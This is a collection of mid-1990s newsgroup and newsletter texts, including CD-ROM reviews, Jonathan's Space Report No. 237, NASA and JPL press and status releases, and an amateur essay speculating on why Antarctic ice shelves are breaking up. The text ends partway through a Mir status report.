Microsoft offers you a 90 day money-back guarantee. You can't lose! %T Encarta'95 %I Microsoft %D 1994 %O CD-ROM, $99.95 %K encyclopedia (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Review: Languages of the World REVIEW: CD-ROM - LANGUAGES OF THE WORLD N T C Publishing Group This multilingual dictionary database contains 17 dictionaries in twelve lagluages, including English, French, Spanish, Italian, Chinese, Dutch, Danish, German, Japanese, Swedish, Norwegian and Finnish. It offers the equivilent of 132 separate dictionaries or language combinations and 7 million words on a single CD-ROM. Amazing! The database contains specialized words from business, science and technology as well as everyday terms. It will easily and quickly provide translations, definitions and synonyms. As a bonus, LANGUAGES OF THE WORLD contains N T C's American Idioms Dictionary. N T C Publishing group produces high-quality travel guides and many language courses, so the LANGUAGES OF THE WORLD CD-ROM is no surprise. It comes in three formats: MS-DOS, Windows and Macintosh. The MS-DOS version search engine can be used as a TSR with a word processor, thus allowing you to paste the result of your dictionary search directly into the document being edited. The Windows version the same feature and can be inserted into any Windows application through the use of the clipboard. In addition, the Windows version offers the option of displaying Japanese and Chinese characters on the screen. Installation was easy. There's a HELP menu, appropriately indexed and hyperlinked to different sections for easy browsing. LANGUAGES OF THE WORLD is not difficult to master using the HELP and pop-up definitions and examples. I found this CD to be quite handy in going back and forth between the various world's major languages, but I am puzzled by the fact that Russian, which is spoken by over 200 million speakers, was omitted. %T Languages of the World %I N T C Publishing Group %C 4255 Touhy Ave Lincolnwood Illinois 60646 %O CD-ROM DOS $129.95 Windows $149.95 %G ISBN: DOS 0-8442-9294-X WINDOWS 0-8442-9250-8 %K disctinaries (C) 1995 Michael Crestohl Nahant Massachusetts USA mc@shore.net DISCLAIMER: I have no interest, financial or otherwise, in the success or failure of the book or materials reviewed herewith, nor have I received any compensation (other than a review copy requested by me) from anyone who has. All opinions expressed are strictly my own. @START@Jonathan's Space Report Jonathan's Space Report No. 237 1995 Apr 12 Cambridge, MA -------------------------------------------------------------------------------- Shuttle ------- Processing of Discovery for STS-70 and Atlantis for STS-71 continues; it seems likely that STS-70 will fly first because of the delays in the Mir program. Columbia completed its refit in California and departed Palmdale on Apr 11 aboard the Shuttle Carrier Aircraft en route to KSC. Mir --- Dezhurov, Strekalov and Thagard remain aboard Mir; they had been in space for 29 days 9 hr 49 min at 1600UTC on Apr 12. Launch of Progress No. 227 (named Progress M-27 after launch) was carried out on Apr 9 at 1934 UTC, and the Progress docked with the Mir complex on Apr 11 at 2300 UTC. Apr 12 is the 34th anniversary of the launch of the Vostok spaceship, when Yuriy A. Gagarin became the first human in space. Recent Launches -------------------------------------------------------------------------------- The newly formed Lockheed Martin carried out its first launch on Mar 22; the former General Dynamics Commercial Launch Services, which had become Martin Marietta CLS, is now part of the new Lockheed Martin empire, and the San Diego (old GD/Convair Space Systems Division) and Denver (old Martin Marietta Astronautics Titan plant) operations are to be merged. Lockheed Martin's Atlas IIAS launch vehicle flight AC-115 (Atlas stage number 8204) took off from LC36B at Cape Canaveral and placed a Space Systems/Loral FS-1300 class communications satellite in orbit for INTELSAT, the International Telecommunications Satellite Organization. Intelsat 705 will be placed over the Atlantic Ocean. The AC-115 launch was swiftly followed by the final Atlas E launch from Vandenberg on Mar 24, and a further Atlas Centaur launch, this time a IIA model, from pad 36A at Canaveral on Apr 7. AC-114 (with Atlas first stage 8111) placed American Mobile Satellite Corp.'s AMSC-1 into orbit. AMSC-1 (also known as M-SAT) is a Hughes HS-601 class comsat with 16 L-band and one Ku-band transponders. The satellite is the first to be optimized for mobile telephone communications. It will be complemented by a similar M-SAT satellite for Canada's Telesat Mobile Inc., to be launched later this year. Orbital Sciences Corp.'s Pegasus launch vehicle returned to flight on Apr 3. This was the first successful launch using the Lockheed L-1011 carrier airplane, which took off from Vandenberg AFB and dropped the Pegasus over the Point Arguello Warning Area in the Pacific. The 3-stage standard Pegasus placed three small satellites in a 730 x 750 km x 70.0 deg orbit. The three satellites all use OSC's new Microstar bus design. Two of the satellites, Orbcomm FM1 and FM2, are the first satellites in OSC's Orbital Communications Corp. (Orbcomm) subsidiary's low Earth orbit (LEO) communications network. They are 1.0m in diameter and 0.16m high, with a mass of 40 kg; once on orbit they deploy a 3.3m long VHF/UHF communications antenna and a pair of solar panels spanning 2.2m. Orbcomm FM2's uplink antenna was malfunctioning last week, but FM1 was operating well. The third satellite is Microlab 1, a 68 kg scientific satellite 1.0m in diameter and 0.3m high. It carries NASA-MSFC's Optical Transient Detector experiment to study the global distribution of lightning, and the University Corporation for Atmospheric Research's GPS-MET experiment which will study the occultation of GPS navigation satellite signals by the atmosphere to derive meteorological information. Microlab is owned by OSC, with NASA and NSF renting the space for and operation of their experiments. The Orbcomm program has been shrouded in commercial secrecy, with few details released on the precursor test payloads: Satellite Launch date Orbit Design. Orbcomm-X 1991 Jul 17 771 x 776 x 98.5 1991-50B Orbcomm-XP-1 1993 Feb 9 727 x 790 x 25.0 1993-09A Orbcomm? 1993 Apr 25 747 x 835 x 69.9 1993-26B Orbcomm FM1 1995 Apr 3 727 x 756 x 70.0 1995-17A Orbcomm FM2 1995 Apr 3 737 x 747 x 70.0 1995-17B Microlab 1 1995 Apr 3 731 x 749 x 70.0 1995-17C On Apr 5 Israel launched its most sophisticated satellite to date, the 'Ofeq-3 ("Horizon-3") 3-axis stabilized technology satellite. The Shaviyt launch vehicle took off on a westward trajectory from Palamchim Air Force Base in Israel and placed the satellite and the AUS-51 solid motor third stage in a retrograde orbit. 'Ofeq-3 carries an electro-optical scanner and has a mass of 225 kg. It has been reported in the media as Israel's first spy satellite, but I think this is probably an overstatement. 'Ofeq-3 should probably be considered as Israel's first 3-axis-stabilized technology development satellite, with an experimental imaging system (whose resolution may be as good as a few metres) intended for both remote sensing and military reconnaissance applications, but it isn't a full fledged spysat. 'Ofeq-3's westward orbit is rare, but not a record; some US Air Force satellites in the 1960s went to an inclination of 144 degrees to the eastward equator (i.e. 36 degrees to the westbound equator). There are quite a few polar retrograde satellites with inclinations up to around 105 degrees, and the GAMBIT spy satellites used inclinations up to 110 degrees regularly in the 1960s and 1970s. Below I give a table of all satellites whose inclinations exceeded 110.5 degrees. Highest inclination satellite orbits Satellite Launch Orbit (km x km x deg) Owner GAMBIT 28 1966 May 14 133 x 358 x 110.6 NRO GAMBIT 68 1971 Jan 21 139 x 418 x 110.9 NRO GAMBIT 69 1971 Apr 22 132 x 401 x 110.9 NRO GAMBIT 71 1971 Oct 23 134 x 416 x 110.9 NRO GAMBIT 64 1970 Apr 15 130 x 388 x 111.0 NRO GAMBIT 66 1970 Aug 18 151 x 365 x 111.0 NRO GAMBIT 67 1970 Oct 23 135 x 396 x 111.1 NRO GAMBIT 70 1971 Aug 12 137 x 424 x 111.0 NRI GAMBIT 72 1972 Mar 17 131 x 409 x 111.0 NRO GAMBIT 44 1966 Jun 20 127 x 325 x 111.4 NRO GAMBIT 49 1968 Jan 18 138 x 404 x 111.5 NRO GAMBIT 51 1968 Apr 17 134 x 427 x 111.5 NRO GAMBIT 47 1967 Oct 25 136 x 429 x 111.6 NRO GAMBIT 45 1967 Aug 16 142 x 449 x 111.9 NRO CORONA 66? 1964 Jun 13 350 x 364 x 115.0 NRO CORONA 70? 1964 Aug 21 349 x 363 x 115.0 NRO Geos 3 1975 Apr 9 839 x 853 x 115 NASA GAMBIT 27 1966 Apr 19 145 x 398 x 117.0 NRO RAE 1 1968 Jul 4 5861 x 5861 x 120 NASA NTS 1 1974 Jul 14 13445 x13767 x 125 USAF 'Ofeq-1 1988 Sep 19 245 x 1152 x 142.9 Israel 'Ofeq-2 1990 Apr 3 206 x 1586 x 143.2 Israel 'Ofeq-3 1995 Apr 5 369 x 729 x 143.4 Israel OV1-2 1965 Oct 5 403 x 3462 x 144.3 USAF OV1-8P 1966 Jul 14 998 x 1013 x 144.3 USAF OV1-4 1966 Mar 30 879 x 1011 x 144.5 USAF OV1-5 1966 Mar 30 996 x 1048 x 144.7 USAF Kosmos-2290 was deorbited on Apr 4 from its 180 x 557 km x 64.8 deg orbit. The reason for the unusual maneuver a week before deorbit (see JSR 236) remains unclear. My description of the Start launch vehicle last week was inaccurate; it differs from Start-1 in that there is a new second stage inserted between the first and second stages of Start-1. According to Maxim Tarasenko, apparently there are actually six stages including a small kick motor to circularize the orbit. The failure was in the fourth stage, and the fifth stage never got a chance to fire. The debris impacted eastern Russia. Date UT Name Launch Vehicle Site Mission INTL. DES. Mar 2 0638 Endeavour ) Space Shuttle Kennedy LC39A Spaceship 07A Astro 2 ) Mar 2 1300 Kosmos-2306 Kosmos-3M Plesetsk LC132 Calibration 08A Mar 7 0923 Kosmos-2307 ) Proton-K/DM2 Baykonur LC200 Navigation 09A Kosmos-2308 ) Navigation 09B Kosmos-2309 ) Navigation 09C Mar 14 0611 Soyuz TM-21 Soyuz-U2 Baykonur LC1 Spaceship 10A Mar 18 0801 SFU ) H-II Tanegashima Science 11A GMS-5 ) Weather 11B Mar 22 0405? Kosmos-2310 Kosmos-3M Plesetsk Navigation 12A Mar 22 0618 Intelsat 705 Atlas IIAS Canaveral LC36B Comsat 13A Mar 22 1645? Kosmos-2311 Soyuz-U Plesetsk Recon 14A Mar 24 1405 DMSP 24547 Atlas E Vandenberg SLC3 Weather 15A Mar 28 0900 Gurwin-1 ) Start Plesetsk Technology FTO UNAMSAT ) Comsat FTO EKA-2 ) Dummy FTO Mar 28 0618 Eutelsat HB1 ) Ariane 44LP Kourou Comsat 16B Brasilsat B2 ) Comsat 16A Apr 3 1348 Orbcomm 1 ) Pegasus L1011 VAFB/PAWA Comsat 17A Orbcomm 2 ) Comsat 17B Microlab 1 ) Science 17C Apr 5 1116 'Ofeq-3 Shaviyt Palamchim Technol. 18A Apr 7 2347 AMSC-1 Atlas IIA Canaveral LC36A Comsat 19A Apr 9 1934 Progress M-27 Soyuz-U Baykonur Cargo 20A Reentries --------- Mar 2 ODERACS II D Reentered Mar 3 ODERACS E Reentered Mar 3 Foton 10 Landed in Russia Mar 10 Kosmos-2280 Deorbited Mar 15 Progress M-26 Deorbited over Pacific Mar 18 Endeavour Landed at Edwards AFB Mar 18 Kosmos-2244 Deorbited Mar 22 Soyuz TM-20 Landed in Kazakhstan Apr 3 Kosmos-2137 Reentered Apr 4 Kosmos-2290 Reentered Current Shuttle Processing Status ____________________________________________ Orbiters Location Mission Launch Due OV-102 Columbia Aboard SCA OMDP - OV-103 Discovery OPF Bay 2 STS-70 Under review OV-104 Atlantis OPF Bay 3 STS-71 Under review OV-105 Endeavour OPF Bay 1 STS-69 Jul 20 ML/SRB/ET/OV stacks ML1/ ML2/RSRM-44 VAB Bay 3 STS-70 ML3/RSRM-45/ET-70 VAB Bay 1 STS-71 .-------------------------------------------------------------------------. | Jonathan McDowell | phone : (617) 495-7176 | | Harvard-Smithsonian Center for | | | Astrophysics | | | 60 Garden St, MS4 | | | Cambridge MA 02138 | inter : jcm@urania.harvard.edu | | USA | jmcdowell@cfa.harvard.edu | | | | JSR: http://hea-www.harvard.edu/QEDT/jcm/jsr.html | ! ftp://sao-ftp.harvard.edu/pub/jcm/space/news/news.* | '-------------------------------------------------------------------------' @START@JPL Instrument to Measure Earth's Atmospheric Temperature PUBLIC INFORMATION OFFICE JET PROPULSION LABORATORY CALIFORNIA INSTITUTE OF TECHNOLOGY NATIONAL AERONAUTICS AND SPACE ADMINISTRATION PASADENA, CALIF. 91109. TELEPHONE (818) 354-5011 Contact: Mary A. Hardin FOR IMMEDIATE RELEASE April 3, 1995 JPL INSTRUMENT WILL MEASURE EARTH'S ATMOSPHERIC TEMPERATURE An experimental instrument, launched today from Vandenberg Air Force Base in Lompoc, Calif., could alter the way scientists monitor global atmospheric temperatures and climate change by using the worldwide array of Global Positioning System satellites. The Global Positioning System Meteorology instrument -- or GPS Met -- was launched aboard an Orbital Sciences Corporation Microlab satellite on a Pegasus launch vehicle. The instrument, developed by the Jet Propulsion Laboratory, was successfully placed into orbit at 6:48 a.m. Pacific Daylight Time. From its vantage point in low-Earth orbit, GPS Met will receive and track the radio signals broadcast by 24 high-orbiting satellites of the U.S. military's GPS network. Just before each GPS satellite passes out of view of the Earth, its signal, as seen by GPS Met, will slice through the atmosphere from the top of the stratosphere down to the Earth's surface. This process is known as atmospheric occultation or radio occultation. "As the signal descends, the atmosphere acts as a lens, causing the signal's path to bend and its travel time to increase by a small, but perceptible amount," said JPL engineer Dr. Thomas Yunck, one of a team of experts who proposed the GPS technique in the late 1980s. "By precisely measuring the signal's increasing travel time and the fluctuating signal strength, we can recover highly accurate profiles of atmospheric density, pressure, temperature and, to some degree, turbulence and winds." "The most obvious scientific application of this technique will be monitoring changes in climate by providing precise, stable and high-resolution profiles of atmospheric temperatures across the globe," added Rob Kursinski, a JPL scientist on the GPS Met team. "The GPS Met data represent the first, hopefully, in a long-term observation program, which will provide us with much needed, long-term information about how trace greenhouse gases may be modifying Earth's atmosphere and climate". GPS Met will also be used to study the amount of water vapor in the lower atmosphere, the JPL science team said. "Water vapor is extremely important to Earth's weather and climate system," Kursinski explained. "It is crucial to the operation of the Earth's atmospheric heat engine, which redistributes absorbed solar energy to higher latitudes. Water vapor is also the primary greenhouse gas in our atmosphere." Using the technique of radio occultation to explore planetary atmospheres dates back to 1965, when scientists studied the signal sent back by Mariner 4 as it passed behind Mars. In the years since, this technique has been used to study other planets in the solar system and their moons. "Studying Earth with this technique has been difficult because the observations require both a radio source and a suitable receiver located off the planet, outside the atmosphere," Yunck said. "Until now, we have not had such matched pairs in Earth orbit. "Additionally, to be of use in studying Earth's atmosphere, whose nature we know quite well, such measurements must be continuous and comprehensive," he said. "We therefore need many transmitters and receivers aloft at once, densely sampling the global atmosphere every few hours. The cost of such an enterprise has generally made it impractical within Earth science programs." The advent of microsatellites and small launcher technologies is changing all of that. GPS Met is the first "proof-of-concept" demonstration of the GPS occultation technique. If successful, it could lead to a future constellation of tiny microsatellites, each no larger than a small paperback book and weighing less than 2 kilograms (4.4 pounds), that would continuously survey the global atmosphere with unprecedented accuracy and spatial resolution, Yunck said. The GPS observations from a constellation of tens or hundreds of receivers in low-Earth orbit may have a dramatic impact on weather forecasting because they would provide a number of unique and fundamental features which would complement the present suite of worldwide weather monitoring measurements, Kursinski explained. Another important application of the GPS Met technology will be its ability to map the ionosphere -- the area of the upper atmosphere consisting of free electrons. Low frequency radio waves broadcast from Earth interact strongly with the ionosphere. This interaction allows the radio signals to be sent great distances as they are reflected off the ionosphere. Ionospheric disturbances have been known to cause violent solar flares, for example, which can disrupt radio communications worldwide. With a large array of orbiting GPS receivers, it will be possible to create three-dimensional images of the ionosphere that will help scientists map its structure and could give them a near real-time picture of the ionosphere's often erratic behavior, Yunck said. The GPS Met experiment is sponsored jointly by NASA's Office of Mission to Planet Earth, the National Science Foundation, the National Oceanographic and Atmospheric Administration and the Federal Aviation Administration. The instrument was developed by NASA's Jet Propulsion Laboratory and is being managed by the University Corp. for Atmospheric Research in Boulder, Colo. @START@Device Developed for Bird Protection DEVICE DEVELOPED FOR BIRD PROTECTION EPRI-sponsored researchers have developed a technology to help prevent birds from flying into structures that can injure or kill them. The device, which emits a pattern of radio-frequency signals that are imperceptible to human beings, has been tested successfully in the laboratory. Now the researchers are preparing to test it in the field. The technology was conceived for use at wind farms. But according to EPRI's Earl Davis, who is managing the ongoing research at the University of Pittsburgh, it has the potential to be useful in a variety of applications--for diverting birds away from airplane engines, tall buildings, and sites containing hazardous chemicals. The technology could even be used to drive nuisance birds away from areas like sports stadiums and hotels. "The historical approach to this kind of diversion has been to use lights and sounds that people can perceive," says Davis, "but these techniques are not necessarily the best way of communicating with animals." EPRI's technology emits a pattern of radio signals in a frequency already approved by the Federal Communications Commission for broadcasting. Since these signals cannot be detected by human ears, they can be used in areas where people are present. The aim of EPRI's research is to successfully startle birds away from a given danger zone. In laboratory tests at the University of Pittsburgh, researchers have determined that pigeons perceive and recognize the radio signals. Complementary signals, such as ultraviolet light and sound, may be used to enhance the technique. The next step is to test the device under controlled conditions on other bird species in the field. Commercialization would follow. In the meantime, EPRI has applied for a patent on the technology. The U.S. Air Force, which is plagued by the problem of birds flying into the engines of its aircraft, is among the groups that have already shown considerable interest in the device, Davis says. "This technology has the potential for great commercial value," he concludes. @START@The Polar Ice Caps Recent events in Antarctica indicate that the polar ice caps may be more susceptible to melting than previously supposed. The Larsen ice shelf now appears to be in the process of breaking up: a huge iceberg has broken off it, but more importantly a large part of the ice shelf has disintegrated altogether, leaving open water between James Ross island and the Antarctic peninsula for the first time since Antarctic exploration began. Also there have been reports of a 40-mile long crack opening up in the Larsen ice shelf, apparently after the iceberg broke off. Temperatures in the Antarctic peninsula (where these events and the earlier breakup of the Wordie ice shelf took place) have risen by 2.5 C over the last 40 years. Although some melting of polar ice has been anticipated as a consequence of global warming, the speed and scale of recent events in Antarctica appear to have taken the scientific community completely by surprise. Ice is not a very good conductor of heat: the thermal conductivity at 273.15 K (0 C) is 2.26 W/(m.K), but it improves slightly at lower temperatures - at 260 K it is 2.35, and at 240 K it is 2.50 W/(m.K) [from table 33 "Thermophysical properties of saturated water substance", Handbook of heat transfer fundamentals 2nd ed., McGraw-Hill 1985]. Putting a physical perspective to these figures, this is the amount of heat in watts per square metre that would travel through a 1m thick sheet of ice with a temperature difference of 1 C between the top and bottom. Now apply these figures to an Antarctic ice shelf, such as the Larsen ice shelf. A typical thickness of ice for these is about 200m, and we have heard that 2.5 C of warming has taken place. Assuming that it has penetrated the top 100m of ice already, how long would it take to warm the remainder? The 100m of ice which has not yet warmed has a mass of about 10e8 g/m^2, to warm this by 2.5 C requires a heat input of 2.5 x 10e8 J/m^2 (assuming a thermal capacity for ice of 1 J/(g.K) - the actual figure may well be higher, in which case the heat input required will increase correspondingly). The heat flux through 100m of ice is (2.5W/(m.K) / 100m) x 2.5K temperature difference, or 6.25 x 10e-2 W/m^2. This will take 4 x 10e9 seconds to provide the 2.5 x 10e8 J/m^2 required, or a little over a century. Before the ice shelf actually broke up, substantial melting would have to take place. The latent heat of fusion for the water-ice transition is over 300 J/g. With the heat flux just calculated, it would take over three thousand years for the bottom half of the ice shelf to melt. No wonder glaciologists are not too concerned about the prospect of the polar icecaps melting in the near future! So why is the Larsen ice shelf breaking up? I think it is because of a physical property of ice that has hitherto been overlooked - transparency. Water is extremely opaque to infrared radiation of any wavelength, but the same is not necessarily true of ice. The molecules in water can vibrate or rotate freely, while those in ice are bound into a rigid crystal lattice and so cannot move. The various different vibrational and rotational modes of the water molecule occur at the right frequencies to make it a good absorber of infrared; when they are suppressed, infrared absorbtion no longer occurs. Imagine for a moment that ice is completely transparent to infrared. We saw earlier how, using regular heat conduction, it would take a century or more for heat to get through a 100m thickness of ice. Using the same example given earlier but including the effects of infrared transmission: for a 2.5K temperature difference at 260K the net heat transmission is s.T2^4 - s.T1^4 = 269.2 - 259.1 or about 10 W/m^2 (where s is the Boltzmann constant, 5.67 x 10e-8 W/(m^2.T^4), T1 is 260K, T2 is 262.5K). This is nearly 200 times more than the heat flux calculated earlier. Instead of taking 3000 years to melt, the ice shelf is gone in little more than a decade. With the limited time and resources at my disposal, I have so far been unable to find any research which conclusively proves or disproves whether ice is sufficiently transparent in the relevant parts of the infrared spectrum (from about 4um to 120um) for infrared heat transmission to work. However, I have found some supporting evidence in the book "Radiative Heat Transfer" (Michael F. Modest, McGraw-Hill 1993 ISBN 0-07-042675-9). In chapter 11, "Radiative properties of semitransparent media", there is a graph (Fig 11-4, p442) "Spectral absorbtion coefficient of clear water (at room temperature) and clear ice (at -10 C)". It shows that the absorbtion spectra of water and ice are almost identical for ultraviolet, visible and near infrared. However, for infrared wavelengths beyond 10um the spectral properties of water and ice abruptly diverge - the ice becomes significantly more transparent than water, so that for a wavelength of 20 um (this is end of the range the graph covers) ice is over 10 times more transparent than water. Unfortunately, this does not indicate what happens at longer wavelengths, or when the temperature is lowered or the pressure increased. It is also possible that other mechanisms than infrared heat transmission could give rise to anomalously high rates of long-range heat transfer through ice - for instance phonons, individual quanta of sound energy, can probably travel quite long distances through ice and could perhaps transport significant quantities of heat - they do in liquid helium. Given the evidence that "bulk" ice such as ice shelves and glaciers appears to be melting at a faster rate than simple theory would suggest, and given the catastrophic consequences if the polar ice caps should melt, I think that the possibility that unconventional modes of long-range heat conduction operate in ice deserves thorough investigation. The experiments necessary to conclusively settle this issue one way or the other should not be that difficult or expensive to conduct. Is anyone reading this message prepared to carry them out? -- Hugh Easton @START@Hubble Finds New Dark Spot on Neptune PHOTO RELEASE NO.: STScI-PR95-21B HUBBLE FINDS NEW DARK SPOT ON NEPTUNE NASA's Hubble Space Telescope has discovered a new great dark spot, located in the northern hemisphere of the planet Neptune. Because the planet's northern hemisphere is now tilted away from Earth, the new feature appears near the limb of the planet. The spot is a near mirror-image to a similar southern hemisphere dark spot that was discovered in 1989 by the Voyager 2 probe. In 1994, Hubble showed that the southern dark spot had disappeared. Like its predecessor, the new spot has high altitude clouds along its edge, caused by gasses that have been pushed to higher altitudes where they cool to form methane ice crystal clouds. The dark spot may be a zone of clear gas that is a window to a cloud deck lower in the atmosphere. Planetary scientists don t know how long lived this new feature might be. Hubble's high resolution will allow astronomers to follow the spot's evolution and other unexpected changes in Neptune's dynamic atmosphere. The image was taken on November 2, 1994 with Hubble's Wide Field Planetary Camera 2, when Neptune was 2.8 billion miles (4.5 billion kilometers) from Earth. Hubble can resolve features as small as 625 miles (1,000 kilometers) across in Neptune's cloud tops. Credit: H. Hammel (Massachusetts Institute of Technology) and NASA @START@Workshop for Biomedical Researchers NUCLEIC ACID AND PROTEIN SEQUENCE ANALYSIS WORKSHOP FOR BIOMEDICAL RESEARCHERS Pittsburgh, Pennsylvania June 4-9, 1995 Pittsburgh Supercomputing Center (PSC) is again offering a five-day workshop on "Nucleic Acid and Protein Sequence Analysis," June 4-9, 1995. It is funded by a grant from the National Center for Human Genome Research of the National Institutes of Health. The workshop will familiarize biomedical researchers in applying supercomputing resources to problems of concern in macromolecular sequence analysis. Emphasis will be on alignment of and pattern extraction from multiple sequences. Participants will gain practical experience on PSC's Cray C-90 and T3D in (1) comparing and aligning sequences, (2) identifying informative patterns in a set of sequences; and (3) using extracted informative patterns to identify related sequences. Researchers will also learn several approaches to database searching and multiple sequence alignment, how to use profile analysis effectively, and how to identify patterns in their sequences. Participants are encouraged to bring sequence analysis problems from their current research. Extensive documentation will be given at the outset on the PSC computing environment as well as on the specific programs to be employed in the workshop. No prior supercomputing experience is required. Workshop leaders are Dr. Gary Churchill, Cornell University, Dr. Michael Gribskov, San Diego Supercomputing Center, and Dr. Hugh Nicholas, PSC. A limited number of grants to cover travel and hotel accommodations are available for U.S. academic participants. ALL PARTICIPANTS ARE REQUIRED TO PAY A $135 REGISTRATION FEE, IN ADVANCE, UPON ACCEPTANCE INTO THE WORKSHOP. DEADLINE FOR SUBMITTING APPLICATIONS IS FRIDAY, APRIL 21, 1995. Enrollment is lmited to 20 participants. * * * * * PITTSBURGH SUPERCOMPUTING CENTER NUCLEIC ACID AND PROTEIN SEQUENCE ANALYSIS WORKSHOP FOR BIOMEDICAL RESEARCHERS June 4-9, 1995 APPLICATION Name: ________________________________________________________________ Affiliation: ________________________________________________________________ Address: ________________________________________________________________ (Business) ________________________________________________________________ ________________________________________________________________ (Home) ________________________________________________________________ Telephone: ____________________________ ______________________________ (Business) (Home) *Social Security Number: _______-_____-_______ Citizenship:___________________ Electronic Mail Address:_______________________________________________________ Status: ___Graduate ___Post-doctoral Fellow ___Faculty ___Other (specify) In order to attend the workshop, will you need funds for travel?___ lodging?___ Please indicate specifically any special housing, transportation or dietary arrangements you will need: __________________________________________ How did you learn about this workshop:_________________________________________ REQUIREMENTS: Applicants must submit a completed application form and a cover letter. The letter should describe, in one or two paragraphs, the sequence analysis problems encountered in your research, and how participating in the workshop will enhance this research. Please include a brief statement describing your level of experience with computers. Faculty members, staff and post-docs should provide a curriculum vita. Graduate students must have a letter of recommendation from a faculty member. If you have requested travel funds, please include the cost of roundtrip air fare from your home to Pittsburgh and indicate the amount of travel funds you will need. ALL PARTICIPANTS WILL BE REQUIRED TO PAY A $135 ADVANCE REGISTRATION FEE UPON ACCEPTANCE INTO THE WORKSHOP. Please return all application materials by APRIL 21, 1995 to: Biomedical Workshop Applications Committee Pittsburgh Supercomputing Center 4400 Fifth Avenue, Suite 230C Pittsburgh, PA 15213 Direct inquiries to: Nancy Blankenstein, blankens@psc.edu or 412/268-4960. *Disclosure of Social Security Number is voluntary. PSC does not discriminate on the basis of race, color, religion, sex, age, creed, national or ethnic origin, or handicap. @START@Kennedy Space Center Space Shuttle Status Report KENNEDY SPACE CENTER SPACE SHUTTLE STATUS REPORT FRIDAY, APRIL 7, 1995 (10:35 AM EST) KSC Public Affairs Contact: Bruce Buckingham 407-867-2468 (fax 407-867-2692) NOTE: Missions STS-71 and STS-70 are both being targeted for no earlier than launch dates and options are being protected for each to be the next one launched. A firmer decision is expected within the next two weeks. MISSION: STS-71 -- 1st MIR DOCKING VEHICLE: Atlantis/OV-104 LOCATION: Orbiter Processing Facility bay 3 * TARGET LAUNCH DATE: June 10 (no earlier than) * APPROX. LAUNCH TIME: 10:12 p.m. LAUNCH WINDOW: 5 minutes * KSC LANDING DATE/TIME: June 21 at 5:41 p.m. MISSION DURATION: 10 days, 19 hours, 31 minutes CREW SIZE: 7 up, 8 down ORBITAL ALTITUDE and INCLINATION: 196-245 statute miles/51.60 degrees * Change from earlier report IN WORK TODAY: o Aft engine compartment close-outs o Install main engine heatshields o Spacelab close-outs o Tunnel leak checks o Preparations for crew equipment interface test KEY OPERATIONAL MILESTONES (dates are targeted only): o Crew equipment interface test (April 8-9) o Final payload bay closure (April 13) o Roll to Vehicle Assembly Building (April 19) o Roll to Launch Pad 39-A (April 25) MISSION: STS-70 -- TDRS-G VEHICLE: Discovery/OV-103 LOCATION: Orbiter Processing Facility bay 2 *TARGET LAUNCH DATE: June 8 (no earlier than) *APPROX. LAUNCH TIME: 10:23 a.m. LAUNCH WINDOW: 2 hours, 30 minutes *TARGET KSC LANDING DATE/TIME: June 16 at 8:33 a.m. MISSION DURATION: 8 days CREW SIZE: 5 ORBITAL ALTITUDE and INCLINATION: 184 statute miles/28.45 degrees * Change from earlier report NOTE: Discovery will not be transferred to the VAB for temporary storage but will remain in OPF bay 2 for an accelerated flow schedule to meet an earlier targeted launch date. The accelerated flow is made possible by not going to the VAB. IN WORK TODAY: o Auxiliary power unit leak and functional checks o Water spray boiler checks o Solid rocket booster stacking operations in Vehicle Assembly Building high bay 3 WORK COMPLETED: o Ammonia servicing o Landing gear checks KEY OPERATIONAL MILESTONES (dates are targeted only): o Install main engines (April 17) o Roll to Vehicle Assembly Building (May 3) o Roll out to pad 39 B (May 11) MISSION: STS-69 -- WSF-2 & SPARTAN 201-03 VEHICLE: Endeavour/OV-105 LOCATION: Orbiter Processing Facility bay 1 TARGET LAUNCH DATE: July 20 APPROX. LAUNCH TIME: 12:06 p.m. LAUNCH WINDOW: 2 hours, 30 minutes TARGET KSC LANDING DATE/TIME: July 31 at 8:37 a.m. MISSION DURATION: 10 days, 21 hours CREW SIZE: 5 ORBITAL ALTITUDE and INCLINATION: 190 statute miles/28.45 degrees IN WORK TODAY: o Extended duration orbiter pallet demate preparations o Preparations to remove main engines o Functional checks of the forward reaction control system WORK SCHEDULED: o Remove extended duration orbiter pallet (April 11) NOTE: The orbiter Columbia is expected to begin its ferry flight from Palmdale, Calif., to KSC on April 11 with an arrival at the Shuttle Landing Facility targeted for mid-day April 12. Columbia has spent the last six months undergoing structural inspections and modifications at the Rockwell facility in Palmdale. Columbia's next mission is STS-73, a 16-day flight targeted for launch in September. Upon arrival, Columbia will be stored temporarily in the Vehicle Assembly Building until Atlantis is rolled out of the Orbiter Processing Facility for external tank mating operations. # # # # NOTE: This Space Shuttle Status Report and other NASA status reports and press releases are available from a data repository known as an anonymous FTP (File Transfer Protocol) server at ftp.pao.hq.nasa.gov under the directory /pub/pao/statrpt/ksc. Users should log on with the user name anonymous , then enter their E-mail address as the password. Within the /pub/pao directory there will be a readme.txt file explaining the directory structure. @START@Mir 18 Mission Control Center - Kaliningrad Status Report Mir 18 Mission Control Center - Kaliningrad Status Report #10 Friday, April 7, 1995 8 a.m. Central The investigations into how the human body changes and adapts to a weightless environment continued this week as Mir 18 Commander Vladimir Dezhurov, Flight Engineer Gennady Strekalov, and U.S. Astronaut and Cosmonaut Researcher Norm Thagard completed their third week aboard the Mir Space Station. Yesterday, Dezhurov spent 24 hours wearing the Holter Monitor which gathered data on his blood pressure and heart rate as part of the continuing effort to establish a baseline condition of the crew members' cardiovascular system. The Mir 18 commander and his two crewmates also were involved in body mass measurements which are done periodically during the flight. They also had blood draws taken in support of the metabolic research activities. Earlier today, the crew had more work time with the Chibis suit, the Russian version of the Lower Body Negative Pressure Unit used on the Space Shuttle. For this session, Dezhurov was the test subject, with Thagard supporting the experiment. Chibis suit activities are always coordinated to take place during a communication pass so flight controllers on the ground can monitor biomedical telemetry during the experiment. Later this morning, Thagard will conduct a television broadcast from Mir where he will be describing activities and accomplishments that have happened aboard the station recently. Following his status report, he will be interviewed by WPVI-TV in Philadelphia. Both the status report and the interview will be carried on NASA TV. Everything remains on schedule for the next cargo supply ship for the Mir station. Progress 227 is set to be launched Sunday from the Baikonur Cosmodrome on a Soyuz rocket at 22:30 Mir Time (3:30 p.m. EDT). Docking to the Mir station is projected to take place on April 11 just before midnight Mir time (5:00 p.m. EDT). The docking to Mir will be carried live on NASA TV. Progress 227 will deliver a variety of research materials to the orbiting station. The equipment aboard includes various kits, logbooks, observation materials, glovebags, greenhouse 